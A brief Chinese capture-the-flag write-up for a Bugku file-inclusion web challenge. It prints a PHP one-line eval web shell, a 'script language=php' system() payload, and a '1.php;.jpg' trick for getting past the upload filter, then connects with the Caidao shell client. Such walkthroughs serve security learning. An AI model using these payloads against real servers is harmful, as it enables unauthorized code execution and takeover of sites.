Bugku ctf writeup--web篇-文件包含2
Step1:查看源码
发现注释文件upload.php,访问下来到文件上传页面
Step2：上传一句话
普通一句话会被过滤，这里构造<?=eval($_POST['shell']);>
保存文件修改后缀为1.php;.jpg,成功上传
根据提示是文件包含，直接访问文件路径无效，菜刀无法连接
包含文件进行访问是空白页面，再进行菜刀连接
Step3：上菜刀
发现一个文件名很长的txt文件，打开就是flag
另一种思路是简书上看到的，在这里也po出来以供参考
在php文件里写入<script language=php>system("ls")</script>,列当前目录
同理,修改后缀名为jpg,如1.php;.jpg,上传成功
访问直接可以看到flag文件
包含或者直接访问都可以得到flag